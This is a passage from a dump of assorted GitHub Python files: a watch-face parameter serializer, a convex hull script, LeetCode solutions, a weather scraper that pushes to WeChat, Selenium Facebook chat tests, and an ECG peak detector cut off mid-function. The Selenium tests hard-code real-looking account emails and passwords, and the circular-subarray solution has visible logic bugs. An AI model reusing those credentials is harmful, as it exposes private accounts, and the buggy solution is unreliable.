argparse.ArgumentParser(description=\"Retrieve most Active Cookie on given Date\")\n parser.add_argument(\"filepath\", default=None, help=\"Path to cookies log file\")\n parser.add_argument(\"-d\", default=None, dest=\"date\", help=\"Date for the most active cookie\")\n args = parser.parse_args()\n\n if not args.date or not args.filepath:\n parser.print_help()\n sys.exit()\n\n data = most_active_cookie()\n data.read_file(args.filepath)\n data.printMostActive(args.date)\n data.save_logs()\n\n# ---------- Open Qs -----------\n# what if we couldn't hold it in memory?\n# do I need to save things in the hashmap or could i just filter by date first and then count? Cookies in the log file are sorted by timestamp\n# is hashmap over-engineering? long code is hard to maintain. depend on how easy it is to access the log file\n# separate date object for easy manipulation and future company changes?\n# what if file somehwere has some blank lines? Maybe validating the log file formaat strictly beforehand is an option\n# normalize the timestamps to the required timezone?\n\n# ---------- To-Dos -------------\n# add read me (manual) for the command line program (.md file)","repo_name":"adityaarunsinghal/quantcast_assessment","sub_path":"most_active_cookie.py","file_name":"most_active_cookie.py","file_ext":"py","file_size_in_byte":3906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"15064826724","text":"import logging\nimport io\n\nfrom watchFaceParser.models.parameterFlags import ParameterFlags\n\ndef ulong2long(n):\n if type(n) == int:\n if n >= 0x7fffffffffffffff:\n n = -(0xffffffffffffffff - n + 1)\n return n\n\ndef long2ulong(n):\n if type(n) == int:\n if n < 0:\n #n = (0xffffffffffffffff + n + 1) & 0xffffffff\n n = (0xffffffffffffffff + n + 1) #fix negative integers\n return n\n\n\nclass Parameter:\n def __init__(self, _id, value):\n if type(value) == int:\n self._id = _id\n self._value = ulong2long(value)\n self._children = None\n elif type(value) == list:\n self._id = _id\n self._value = None\n self._children = value\n else:\n raise Exception(f'invalid type for parameter {value}:{type(value)}')\n\n def getId(self):\n return self._id\n\n\n def getChildren(self):\n return self._children\n\n\n def getValue(self):\n return self._value\n\n\n def hasChildren(self):\n return self._children and len(self._children) > 0\n\n\n @staticmethod\n def writeByte(stream, v):\n stream.write(int(v).to_bytes(1, byteorder='little'))\n\n\n def write(self, stream, traceOffset = 0):\n assert(type(traceOffset) == int)\n size = 0\n flags = ParameterFlags.hasChildren if self.hasChildren() else 0\n rawId = 0xff & ((self.getId() << 3) + flags)\n Parameter.writeByte(stream, rawId)\n\n size += 1\n if self.hasChildren():\n logging.debug((\"\\t\" * traceOffset) + f\"{self.getId()} ({rawId:02X}):\")\n size += self.writeList(stream, traceOffset + 1)\n logging.debug((\"\\t\" * traceOffset) + f\"{size} bytes\")\n return size\n size += self.writeValue(stream, self.getValue(), traceOffset)\n logging.debug((\"\\t\" * traceOffset) + f\"{self.getId()} ({rawId:02X}): {self.getValue()} ({self.getValue():02X})\")\n return size\n\n\n def writeList(self, stream, traceOffset):\n assert(type(traceOffset) == int)\n temporaryStream = io.BytesIO()\n for parameter in self.getChildren():\n parameter.write(temporaryStream, traceOffset)\n size = self.writeValue(stream, len(temporaryStream.getbuffer()), traceOffset)\n temporaryStream.seek(0, 0)\n stream.write(temporaryStream.read())\n size += len(temporaryStream.getbuffer())\n return size\n\n\n def writeValue(self, stream, value, traceOffset):\n assert(type(value) == int)\n assert(type(traceOffset) == int)\n unsignedValue = long2ulong(value)\n size = 0\n currentByte = 0\n while unsignedValue >= 0x80:\n currentByte = 0xff & ((unsignedValue & 0x7f) | 0x80)\n Parameter.writeByte(stream, currentByte)\n size += 1\n unsignedValue = unsignedValue >> 7\n\n currentByte = 0xff & (unsignedValue & 0x7f)\n Parameter.writeByte(stream, currentByte)\n size += 1\n return size\n\n\n @staticmethod\n def readList(stream, traceOffset = 0):\n result = []\n try:\n while True:\n parameter = Parameter.readFrom(stream, traceOffset)\n result.append(parameter)\n except EOFError:\n pass\n except IndexError:\n pass\n except Exception as e:\n import traceback\n traceback.print_stack()\n logging.exception(e)\n return result\n\n\n @staticmethod\n def readFrom(fileStream, traceOffset = 0):\n rawId = Parameter.readByte(fileStream, traceOffset)\n _id = (rawId & 0xf8) >> 3\n flags = ParameterFlags(rawId & 0x07)\n\n if _id == 0:\n raise IndexError(\"Parameter with zero Id is invalid.\") #ArgumentException\n\n value = Parameter.readValue(fileStream, traceOffset)\n if flags.hasFlag(ParameterFlags.hasChildren):\n logging.info(Parameter.traceWithOffset(f\"{_id} ({rawId:2X}): {value} bytes\", traceOffset))\n buffer = fileStream.read(value)\n stream = io.BytesIO(buffer)\n\n _list = Parameter.readList(stream, traceOffset + 1)\n return Parameter(_id, _list)\n logging.info(Parameter.traceWithOffset(f\"{_id} ({rawId:2X}): {value} {value:2X}\", traceOffset))\n return Parameter(_id, value)\n\n\n @staticmethod\n def readValue(fileStream, traceOffset = 0):\n bytesLength = 0\n value = 0\n offset = 0\n\n currentByte = Parameter.readByte(fileStream, traceOffset)\n bytesLength = bytesLength + 1\n\n while (currentByte & 0x80) > 0:\n if bytesLength > 9:\n raise Exception(\"Value of the parameter too long\")\n value = value | ((currentByte & 0x7f) << offset)\n offset += 7\n currentByte = Parameter.readByte(fileStream, traceOffset)\n bytesLength = bytesLength + 1\n\n value = value | ((currentByte & 0x7f) << offset)\n return value\n\n\n @staticmethod\n def readByte(stream, traceoffset = 0):\n currentByte = int.from_bytes(stream.read(1), byteorder='little')\n return currentByte\n\n\n @staticmethod\n def traceWithOffset(message, offset):\n return ' ' * offset + message\n","repo_name":"chm-dev/GTS-watchface-bundle","sub_path":"src/utils/pythonSrc/watchFaceParser/models/parameter.py","file_name":"parameter.py","file_ext":"py","file_size_in_byte":5258,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"38"} +{"seq_id":"24865370970","text":"import matplotlib.pyplot as plt\nfrom random import randint\n\n\ndef min_point(points, n_points):\n \"\"\"\n Return the index of the closest point to (0,0)\n :param points: tuple of list for each coordinate\n :param n_points: number of points\n :return: the index of the selected point in the list\n \"\"\"\n min_y_indexes = [0]\n min_y = points[1][0]\n\n # Find minimum y\n for k in range(1, n_points):\n if points[1][k] < min_y:\n min_y_indexes = [k]\n elif points[1][k] == min_y:\n min_y_indexes.append(k)\n\n # Among the points having the smallest y, find the points having the smallest x\n min_x = points[0][min_y_indexes[0]]\n min_index = min_y_indexes[0]\n\n for k in min_y_indexes:\n if points[0][k] < min_x:\n min_index = k\n\n return min_index\n\n\ndef orient(points, i, j, k): # FIXME: add doc\n \"\"\"\n\n :param points:\n :param i:\n :param j:\n :param k:\n :return:\n \"\"\"\n a = points[0][j] - points[0][i]\n b = points[1][j] - points[1][i]\n c = points[0][k] - points[0][i]\n d = points[1][k] - points[1][i]\n\n # Determinant\n r = 0.5 * (a * d - b * c)\n\n if r == 0:\n return 0\n elif r > 0:\n return 1\n else:\n return -1\n\n\ndef get_next_point(points, n_points, current_point):\n \"\"\"\n Returns the next point in the convex hull\n :param points: tuple of list\n :param n_points: number of points\n :param current_point: current point\n :return: the index of the next point\n \"\"\"\n if current_point == 0:\n next_point_index = 1\n else:\n next_point_index = 0\n\n for point in range(n_points):\n if point != current_point and orient(points, current_point, point, next_point_index) > 0:\n next_point_index = point\n\n return next_point_index\n\n\ndef jarvis_march(points):\n \"\"\"\n Returns the convex hull of the given set of point\n\n :param points:\n :return: ordered list of the indexes of the point\n \"\"\"\n n_points = len(points[0])\n convex_hull_indexes = [min_point(points, n_points)]\n next_point = get_next_point(points, n_points, convex_hull_indexes[0])\n\n while next_point != convex_hull_indexes[0]:\n convex_hull_indexes.append(next_point)\n next_point = get_next_point(points, n_points, convex_hull_indexes[-1])\n\n # Convert the convex hull to coordinates\n convex_hull_x = []\n convex_hull_y = []\n\n for point in convex_hull_indexes:\n convex_hull_x.append(points[0][point])\n convex_hull_y.append(points[1][point])\n\n return convex_hull_x, convex_hull_y\n\n\ndef show_points(x, y):\n plt.scatter(x, y)\n\n\ndef random_points(n: int, x, y):\n \"\"\"\n Returns the coordinates of a set of random points. No doublon is allowed.\n :type n: int\n :param n: number of points\n :param x: x range\n :param y: y range\n :return: a tuple of list\n \"\"\"\n X = []\n Y = []\n generated_points = []\n i = 0\n\n while i < n:\n u = randint(-x, x)\n v = randint(-y, y)\n\n # If new point doesn't exist already\n if generated_points.count([u, v]) == 0:\n generated_points.append([u, v])\n X.append(u)\n Y.append(v)\n i += 1\n\n return X, Y\n\n\nN_POINTS = 6\nRANGE = 10\n\npoints = random_points(N_POINTS, RANGE, RANGE)\nshow_points(points[0], points[1])\n\nconvex_hull_x, convex_hull_y = jarvis_march(points)\nn = len(convex_hull_x)\n\n# Plot the convex hull\nfor i in range(n - 1):\n plt.plot([convex_hull_x[i], convex_hull_x[i + 1]], [convex_hull_y[i], convex_hull_y[i + 1]], linestyle='dashed')\nplt.plot([convex_hull_x[-1], convex_hull_x[0]], [convex_hull_y[-1], convex_hull_y[0]], linestyle='dashed')\nplt.show()\n","repo_name":"greglan/python","sub_path":"algorithms/convex_hull.py","file_name":"convex_hull.py","file_ext":"py","file_size_in_byte":3696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"13077355131","text":"from coffin.conf.urls.defaults import *\n\n# Uncomment the next two lines to enable the admin:\n# from django.contrib import admin\n# admin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n url(r'^$', 'tickets.views.whiteboard', name='whiteboard'),\n url(r'^min$', 'tickets.views.whiteboard_min', name='whiteboard_min'),\n url(r'^refresh$', 'tickets.views.refresh', name='refresh'),\n url(r'^modal/(?P\\d+)$', 'tickets.views.modal', name='modal'),\n url(r'^status_update/(?P\\d+)/(?P\\d+)$', 'tickets.views.status_update', name='status_update')\n \n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n # url(r'^admin/', include(admin.site.urls)),\n)\n","repo_name":"funkotron/kaizen","sub_path":"urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"30739779613","text":"from typing import List\n\"\"\"\nYou are given an m*n integer matrix heights representing the height of each unit cell\nin a continent. The Pacific ocean touches the continent left and top edge and the Atlantic \nocean touches the continent's right and bottom edges.\nWater can only flow in four directions:up, down, left, and right. Water flows from a cell to\nan adjacent one with an equal or lower height.\n\nReturn a list of grid coordinates where water can flow to both Pacific and Atlantic oceans\n\n Pacific ocean\n 1 2 2 3 5\n\nPacific 3 2 3 4 4 Atlantic\n\nocean 6 7 1 4 5 ocean\n\n 5 1 1 2 4\n\n Atlantic ocean\n\nInput: heights =[[1,2,2,3,5],[3,2,3,4,4],[2,4,5,3,1],[6,7,1,4,5],[5,1,1,2,4]]\n\nTime: O(N.M)^2 \n\n\n\"\"\"\nclass Solution:\n\n def pacificAtlantic(self, heights: List[List[int]])-> List[List[int]]:\n ROWS, COLS = len(heights), len(heights[0])\n pac, atl = set(), set()\n\n def dfs(r,c, visit, prevHeight):\n if((r, c) in visit or \n r<0 or c < 0 or r == ROWS or r == COLS or\n heights[r][c] < prevHeight):\n return\n visit.add((r, c))\n dfs(r + 1, c, visit, heights[r][c])\n dfs(r - 1, c, visit, heights[r][c])\n dfs(r, c + 1, visit, heights[r][c])\n dfs(r, c - 1, visit, heights[r][c])\n\n for c in range(COLS):\n dfs(0, c, pac, heights[0][c])\n dfs(ROWS-1, c, atl, heights[ROWS - 1][c])\n\n for r in range(ROWS):\n dfs(r, 0, pac, heights[r][0])\n dfs(r, COLS -1, atl, heights[r][COLS -1])\n\n res =[]\n for r in range(ROWS):\n for c in range(COLS):\n if(r,c) in pac and (r,c) in atl:\n res.append([r,c])\n return res\n","repo_name":"Chemokoren/Algorithms-1","sub_path":"neetcode/Graphs/pacific_antlantic_water_flow.py","file_name":"pacific_antlantic_water_flow.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"70341262511","text":"\"\"\"\n918. Maximum Sum Circular Subarray\nGiven a circular integer array nums of length n, return the maximum possible sum of a non-empty subarray of nums.\n\"\"\"\nfrom typing import List\nclass Solution:\n def maxSubarraySumCircular(self, nums: List[int]) -> int:\n # case 1\n # case 2: total_sum - min_subarray\n # can be optimized from O(n) to O(1)\n N = len(nums)\n \n curMax, TotalMax = nums[0], nums[0]\n curMin, TotalMin = nums[0],nums[0]\n allSum = nums[0]\n for i in range(1,N):\n curMax = max(nums[i], curMax + nums[i])\n TotalMax = max(curMax,TotalMax)\n curMin = min(nums[i],curMin + nums[i])\n TotalMin = max(curMin,TotalMin)\n allSum += nums[0]\n \n if (allSum == TotalMin):\n # meaning that every element is negative, we cannot use total-min, otherwise it will result in 0, meaning that 0 element is chosen\n return TotalMax\n else:\n return (TotalMax, allSum-TotalMin)\n \n \n \n ","repo_name":"chloe-qq/Leetcode-learning","sub_path":"Dynamic_Programming/lc-918.py","file_name":"lc-918.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"5534608649","text":"def complex_hash(data):\n hash_value = 0\n prime = 31\n\n for char in data:\n hash_value = hash_value * prime + ord(char) & 0xFFFFFFFF\n\n return hash_value\n\n\n# Ejemplo de uso\ndata = \"Hola. mundo!\"\n\nhash_result = complex_hash(data)\nprint(\"Hash generado:\", hash_result)","repo_name":"Laboratorio-III/unidad04","sub_path":"codigos/hash_simple2.py","file_name":"hash_simple2.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"8817218339","text":"# Given a number, return the difference between \n# the maximum and minimum numbers that can be formed when the digits are rearranged.\n\nx = int(input(\"Input a number:\"))\n\nlst = []\n\nlargest = ''\nsmallest = ''\n\nfor i in str(x):\n lst.append(i)\n\nascending = sorted(lst)\ndescending = sorted(lst,reverse=True)\n\nfor i in ascending:\n smallest+=i\n\nfor i in descending:\n largest+=i\n\nprint(int(largest)-int(smallest))","repo_name":"kelvinng213/PythonDailyChallenge","sub_path":"Day24Challenge.py","file_name":"Day24Challenge.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"12314651356","text":"import requests\nfrom requests.exceptions import RequestException\nimport re\n\napp_token = '#####' # 本处改成自己的应用 APP_TOKEN\nuid_myself = '#####' # 本处改成自己的 UID\n\ndef wxpusher_send_by_webapi(msg):\n \"\"\"利用 wxpusher 的 web api 发送 json 数据包,实现微信信息的发送\"\"\"\n webapi = 'http://wxpusher.zjiecode.com/api/send/message'\n data = {\n \"appToken\":app_token,\n \"content\":msg,\n \"summary\":msg[:99], # 该参数可选,默认为 msg 的前10个字符\n \"contentType\":1,\n \"uids\":[ uid_myself, ],\n }\n result = requests.post(url=webapi,json=data)\n return result.text\n\n#获取一个页面内容\ndef get_one_page(url):\n headers = {\n \"User-Agent\": \"Mozilla / 5.0(Windows NT 10.0; Win64; x64) AppleWebKit / 537.36(KHTML, like Gecko) Chrome / 80.0.3987.122 Safari / 537.36\"\n }\n try:\n response = requests.get(url, headers = headers)\n if response.status_code == 200:\n return response.text\n return response.status_code\n except RequestException:\n return \"爬取失败!\"\n \n#解析获取的内容\ndef parse_one_page(html): \n com = str( '.*?id=\"OverviewCurrentTemperature\".*?target=\"_blank\">(.*?)(.*?)
    ' #天气\n + '.*?class=\"aqiColorCycle-E1_1\">.*?(.*?)') #空气质量指数\n com1 = str('.*?
    (.*?)
    ') #天气和生活:[驾车,户外运动,紫外线,感冒指数]\n \n pattern = re.compile(com, re.S)\n pattern1 = re.compile(com1, re.S)\n print('re解析中...')\n items = re.findall(pattern, html)\n items1 = re.findall(pattern1, html)\n print('re解析完毕,结果如下:')\n print(items)\n print(items1)\n print('--------------------------------------------------')\n\n \n print(items)\n dateList = []\n for item in items:\n dics = {\n '天气':item[1],\n '气温':int(item[0]),\n '空气质量指数':int(item[2]),\n }\n dateList.append(dics)\n\n dics = {\n '户外运动':items1[1],\n '紫外线指数':items1[2],\n '感冒指数':items1[3]\n }\n dateList.append(dics)\n \n return dateList\n\n\ndef push_msg(msg):\n result1 = wxpusher_send_by_webapi(msg)\n print(result1)\n\ndef main():\n url = '#####' # 修改为需要爬取的带位置的https://www.msn.cn/zh-cn/weather网址\n print('获取页面中...')\n html = get_one_page(url)\n print('页面获取成功!')\n #print(html)\n print('解析数据中...')\n weatherDate = parse_one_page(html)\n print('数据解析成功!')\n print(weatherDate)\n\n push_msg(str(weatherDate))\n\nif __name__ == '__main__':\n main()\n\n\"\"\" \n# 使用腾讯云函数调用时\ndef main_handler(event, context): \n main()\n \"\"\"","repo_name":"HanNanTong/weatherSpider_wxpusher","sub_path":"weatherSpider_wxpusher.py","file_name":"weatherSpider_wxpusher.py","file_ext":"py","file_size_in_byte":2971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"14795703074","text":"import datetime\r\nimport time\r\n\r\nfrom library.config import Config\r\nfrom library import Reading_objects\r\nfrom POM.Chats import Messenger\r\n\r\nclass TestChats:\r\n def test_send_msg(self,init_driver):\r\n # try:\r\n\r\n msg1=Messenger(init_driver)\r\n msg1.enter_email(\"kousalyakodati1357@gmail.com\")\r\n msg1.enter_pwd(\"Facebook@kous28\")\r\n msg1.click_login()\r\n time.sleep(3)\r\n msg1.select_friend()\r\n msg1.enter_msg(\"HELLO\")\r\n msg1.profile_logout()\r\n # except AssertionError as msg:\r\n # td = datetime.datetime.now()\r\n # raise msg\r\nclass TestChats2:\r\n def test_send_like(self,init_driver):\r\n\r\n msg1=Messenger(init_driver)\r\n msg1.enter_email(\"kousalyakodati1357@gmail.com\")\r\n msg1.enter_pwd(\"Facebook@kous28\")\r\n msg1.click_login()\r\n msg1.select_friend()\r\n msg1.enter_msg(\"123!@#$\")\r\n msg1.profile_logout()\r\n#\r\nclass TestChats3:\r\n def test_send_emoji(self,init_driver):\r\n\r\n msg1=Messenger(init_driver)\r\n msg1.enter_email(\"kousalyakodati1357@gmail.com\")\r\n msg1.enter_pwd(\"Facebook@kous28\")\r\n msg1.click_login()\r\n msg1.select_friend()\r\n msg1.send_emoji()\r\n msg1.profile_logout()\r\nclass TestChats4:\r\n def test_send_sticker(self,init_driver):\r\n\r\n msg1=Messenger(init_driver)\r\n msg1.enter_email(\"kousalyakodati1357@gmail.com\")\r\n msg1.enter_pwd(\"Facebook@kous28\")\r\n msg1.click_login()\r\n msg1.select_friend()\r\n msg1.send_sticker()\r\n msg1.profile_logout()\r\nclass TestChats5:\r\n def test_chats(self,init_driver):\r\n msg1 = Messenger(init_driver)\r\n msg1.enter_email(\"prathyusha@gmail.com\")\r\n msg1.enter_pwd(\"Facebook@28\")\r\n msg1.click_login()\r\n time.sleep(2)\r\n path=r\"C:\\Users\\KOUSALYA\\facebook_msg\\Screenshots\\\\\"\r\n init_driver.save_screenshot(path+\"screenshot.png\")\r\n msg1.select_friend()\r\n msg1.enter_msg(\" \")\r\n msg1.select_friend()\r\n msg1.profile_logout()\r\n\r\n\r\n\r\n\r\n","repo_name":"Kousalya28-kodati/Facebook_chatbox1","sub_path":"test_/test_messages.py","file_name":"test_messages.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"3812446438","text":"# Imports\r\nimport pickle\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.signal import find_peaks\r\nfrom variable_statistics import Variable\r\n\r\n\r\nclass Peaks:\r\n\r\n def __init__(self, filename = None):\r\n\r\n super(Peaks, self).__init__()\r\n \r\n self.time = None\r\n self.signal = None\r\n self.seis1 = None\r\n self.seis2 = None\r\n self.seis = None\r\n self.phono1 = None\r\n self.phono2 = None\r\n self.phono = None\r\n\r\n self.P = Variable([])\r\n self.Q = Variable([])\r\n self.R = Variable([])\r\n self.S = Variable([])\r\n self.T = Variable([])\r\n\r\n self.ST_start = Variable([])\r\n self.ST_end = Variable([])\r\n\r\n \r\n self.dT = Variable([])\r\n self.ddT = Variable([])\r\n self.ddQ = Variable([])\r\n\r\n self.QM = Variable([])\r\n self.QM_seis = Variable([])\r\n self.QM_phono = Variable([])\r\n \r\n self.TM = Variable([])\r\n self.TM_seis = Variable([])\r\n self.TM_phono = Variable([])\r\n\r\n if filename is not None:\r\n self.load(filename)\r\n\r\n def get_R_peaks(self, second, r_max_to_mean_ratio, signal_max_to_mean, signal, r_window_ratio, frequency, display_windowing = False):\r\n\r\n self.R.data = find_peaks(-second,\r\n height = (r_max_to_mean_ratio * signal_max_to_mean) + np.mean(signal),\r\n distance = r_window_ratio * frequency)[0]\r\n\r\n # Display\r\n if display_windowing:\r\n plt.plot(signal, label = \"ECG\", color = 'b', linewidth=2)\r\n plt.plot(-second, '-.', label = \"ECG Neg. 2nd Derv.\", color = 'g', linewidth=1)\r\n for i in range(len(self.R.data)):\r\n # # R Peaks\r\n plt.scatter(self.R.data[i], signal[self.R.data[i]], c='red', marker = \"D\")\r\n plt.scatter(self.R.data[i], -second[self.R.data[i]], c='red', marker = \"o\")\r\n plt.text(self.R.data[i] + 0.03, 0.03 + signal[self.R.data[i]], \"R\", fontsize=9)\r\n if i ==0:\r\n plt.axvline(self.R.data[i] + r_window_ratio * frequency, linestyle=':', color = 'r', linewidth=1, label = \"Distance Threshold\")\r\n else:\r\n plt.axvline(self.R.data[i] + r_window_ratio * frequency, linestyle='--', color = 'r', linewidth=1)\r\n\r\n plt.plot((r_max_to_mean_ratio * signal_max_to_mean) + np.mean(signal) *np.ones(len(signal)), linestyle='--', color = 'k', linewidth=1, label = \"Height Threshold\")\r\n plt.legend(loc = \"upper right\", prop={\"size\":20})\r\n plt.axis('off')\r\n plt.show()\r\n\r\n def add_Q_peak(self, index, q_window_ratio, signal, second, display_windowing = False):\r\n # Find distance between this r peak and the last\r\n last_r_peak_distance = abs(self.R.data[index] - self.R.data[index - 1]) if index != 0 else abs(self.R.data[index + 1] - self.R.data[index])\r\n\r\n # Find lower bound of Q windows and define windows\r\n q_lower_bound = self.R.data[index] - int(q_window_ratio * last_r_peak_distance)\r\n q_lower_bound = q_lower_bound if q_lower_bound > 0 else 0\r\n q_window = range(q_lower_bound, self.R.data[index])\r\n\r\n # Add Q peak\r\n q_peak = find_peaks(second[q_window])[0][-1]\r\n\r\n\r\n self.Q.data.append(self.R.data[index] - len(q_window) + q_peak) #np.argmin(signal[q_window]))\r\n\r\n if display_windowing and index != 0:\r\n # Plot Signal\r\n plt.plot(range(self.R.data[index-1], self.R.data[index+1]), signal[self.R.data[index-1] : self.R.data[index+1]], label = \"ECG\", color = 'b', linewidth=2)\r\n plt.plot(range(self.R.data[index-1], self.R.data[index+1]), second[self.R.data[index-1] : self.R.data[index+1]], '-.', label = \"ECG 2nd Derv.\", color = 'g', linewidth=1)\r\n # ax1.plot(time, np.ones(len(time)) * ((r_max_to_mean_ratio * signal_max_to_mean) + np.mean(signal)), color='r', label = \"Min Height\")\r\n \r\n plt.scatter(self.Q.data[index], signal[self.Q.data[index]], c='red', marker = \"D\")\r\n # plt.scatter(self.R.data[index], signal[self.R.data[index]], c='red', marker = \"D\")\r\n plt.scatter(self.Q.data[index], second[self.Q.data[index]], c='red', marker = \"o\")\r\n plt.text(self.Q.data[index], 0.02 + signal[self.Q.data[index]], \"Q\", fontsize=9)\r\n\r\n plt.axvspan(q_lower_bound, self.R.data[index], facecolor='y', alpha=0.2, label= \"Window\")\r\n plt.legend(loc = \"upper right\", prop={\"size\":12})\r\n plt.axis('off')\r\n plt.show()\r\n\r\n def add_ddQ_peak(self, index, signal, second):\r\n if index == 0:\r\n # Add ddQ peak\r\n self.ddQ.data.append(np.argmax(second[:self.R.data[index]]))\r\n \r\n else:\r\n ddq_window = list(range(self.P.data[index], self.R.data[index]))\r\n self.ddQ.data.append(np.argmax(second[ddq_window]) + self.P.data[index])\r\n \r\n def add_P_peak(self, index, p_window_ratio, signal, display_windowing = False):\r\n # Do not calculate peaks if there is no previous R peak\r\n if index != 0:\r\n # Find distance between this r peak and the last\r\n last_r_peak_distance = abs(self.R.data[index] - self.R.data[index - 1])\r\n \r\n # Find lower bound of P windows and define windows\r\n p_lower_bound = self.R.data[index] - int(p_window_ratio * last_r_peak_distance)\r\n p_window = list(range(p_lower_bound, self.Q.data[index])) \r\n\r\n # Add P peak\r\n self.P.data.append(int(self.Q.data[index] - len(p_window) + np.argmax(signal[p_window])))\r\n\r\n if display_windowing and index != 0:\r\n # Plot Signal\r\n plt.plot(range(self.R.data[index-1], self.R.data[index+1]), signal[self.R.data[index-1] : self.R.data[index+1]], label = \"ECG\", color = 'b', linewidth=2)\r\n # plt.plot(range(self.R.data[index-1], self.R.data[index+1]), second[self.R.data[index-1] : self.R.data[index+1]], '-.', label = \"ECG 2nd Derv.\", color = 'g', linewidth=1)\r\n # ax1.plot(time, np.ones(len(time)) * ((r_max_to_mean_ratio * signal_max_to_mean) + np.mean(signal)), color='r', label = \"Min Height\")\r\n \r\n plt.scatter(self.P.data[index], signal[self.P.data[index]], c='red', marker = \"D\")\r\n # plt.scatter(self.R.data[index], signal[self.R.data[index]], c='red', marker = \"D\")\r\n # plt.scatter(self.Q.data[index], signal[self.Q.data[index]], c='red', marker = \"o\")\r\n plt.text(self.P.data[index], 0.02 + signal[self.P.data[index]], \"P\", fontsize=9)\r\n\r\n plt.axvspan(p_lower_bound, self.Q.data[index], facecolor='y', alpha=0.2, label= \"Window\")\r\n plt.legend(loc = \"upper right\", prop={\"size\":15})\r\n plt.axis('off')\r\n plt.show()\r\n\r\n else:\r\n self.P.data.append(0)\r\n\r\n \r\n def add_S_peak(self, index, s_window_ratio, signal, display_windowing = False):\r\n # Find distance between this r peak and the next r peak\r\n next_r_peak_distance = abs(self.R.data[index + 1] - self.R.data[index]) if index != (len(self.R.data) - 1) else abs(self.R.data[index] - self.R.data[index -1])\r\n\r\n # Find upper bound of S peak and define windows\r\n s_upper_bound = self.R.data[index] + int(s_window_ratio * next_r_peak_distance)\r\n s_window = list(range(self.R.data[index], s_upper_bound))\r\n\r\n # Look for defined peaks\r\n possible_defined_peaks = find_peaks(-signal[s_window], distance = len(s_window)/2)[0]\r\n\r\n # If there are no defined peaks just use the max otherwise use the first defined peak\r\n if len(possible_defined_peaks) == 0:\r\n self.S.data.append(int(np.argmax(-signal[s_window]) + self.R.data[index]))\r\n else:\r\n self.S.data.append(int(possible_defined_peaks[0] + self.R.data[index]))\r\n\r\n if display_windowing and index != 0:\r\n # Plot Signal\r\n plt.plot(range(self.R.data[index-1], self.R.data[index+1]), signal[self.R.data[index-1] : self.R.data[index+1]], label = \"ECG\", color = 'b', linewidth=2)\r\n # plt.plot(range(self.R.data[index-1], self.R.data[index+1]), second[self.R.data[index-1] : self.R.data[index+1]], '-.', label = \"ECG 2nd Derv.\", color = 'g', linewidth=1)\r\n # ax1.plot(time, np.ones(len(time)) * ((r_max_to_mean_ratio * signal_max_to_mean) + np.mean(signal)), color='r', label = \"Min Height\")\r\n \r\n plt.scatter(self.S.data[index], signal[self.S.data[index]], c='red', marker = \"D\")\r\n # plt.scatter(self.R.data[index], signal[self.R.data[index]], c='red', marker = \"D\")\r\n # plt.scatter(self.Q.data[index], signal[self.Q.data[index]], c='red', marker = \"o\")\r\n plt.text(self.S.data[index], 0.02 + signal[self.S.data[index]], \"S\", fontsize=9)\r\n\r\n plt.axvspan(self.R.data[index], s_upper_bound, facecolor='y', alpha=0.2, label= \"Window\")\r\n plt.legend(loc = \"upper right\", prop={\"size\":15})\r\n plt.axis('off')\r\n plt.show()\r\n\r\n def add_T_peak(self, index, t_window_ratio, signal, display_windowing = False):\r\n # Find distance between this r peak and the next r peak\r\n next_r_peak_distance = abs(self.R.data[index + 1] - self.R.data[index]) if index != (len(self.R.data) - 1) else abs(self.R.data[index] - self.R.data[index - 1])\r\n \r\n # Find upper bound of T peak and define windows\r\n t_upper_bound = self.R.data[index] + int(t_window_ratio * next_r_peak_distance) \r\n t_window = list(range(self.S.data[index], t_upper_bound))\r\n \r\n # Add T peak\r\n self.T.data.append(int(np.argmax(signal[t_window]) + self.S.data[index]))\r\n\r\n if display_windowing and index != 0:\r\n # Plot Signal\r\n plt.plot(range(self.R.data[index-1], self.R.data[index+1]), signal[self.R.data[index-1] : self.R.data[index+1]], label = \"ECG\", color = 'b', linewidth=2)\r\n # plt.plot(range(self.R.data[index-1], self.R.data[index+1]), second[self.R.data[index-1] : self.R.data[index+1]], '-.', label = \"ECG 2nd Derv.\", color = 'g', linewidth=1)\r\n # ax1.plot(time, np.ones(len(time)) * ((r_max_to_mean_ratio * signal_max_to_mean) + np.mean(signal)), color='r', label = \"Min Height\")\r\n \r\n plt.scatter(self.T.data[index], signal[self.T.data[index]], c='red', marker = \"D\")\r\n # plt.scatter(self.R.data[index], signal[self.R.data[index]], c='red', marker = \"D\")\r\n # plt.scatter(self.Q.data[index], signal[self.Q.data[index]], c='red', marker = \"o\")\r\n plt.text(self.T.data[index], 0.02 + signal[self.T.data[index]], \"T\", fontsize=9)\r\n\r\n plt.axvspan(self.S.data[index], t_upper_bound, facecolor='y', alpha=0.2, label= \"Window\")\r\n plt.legend(loc = \"upper right\", prop={\"size\":15})\r\n plt.axis('off')\r\n plt.show()\r\n \r\n def add_ST_segment(self, index, second, smoothed_first, signal):\r\n # Do not calculate peaks if there is no next R peak\r\n if index != (len(self.R.data) - 1):\r\n # Look at interval between s and t peak\r\n s_t_interval = range(self.S.data[index], self.T.data[index])\r\n\r\n # Find start of S-T segment\r\n 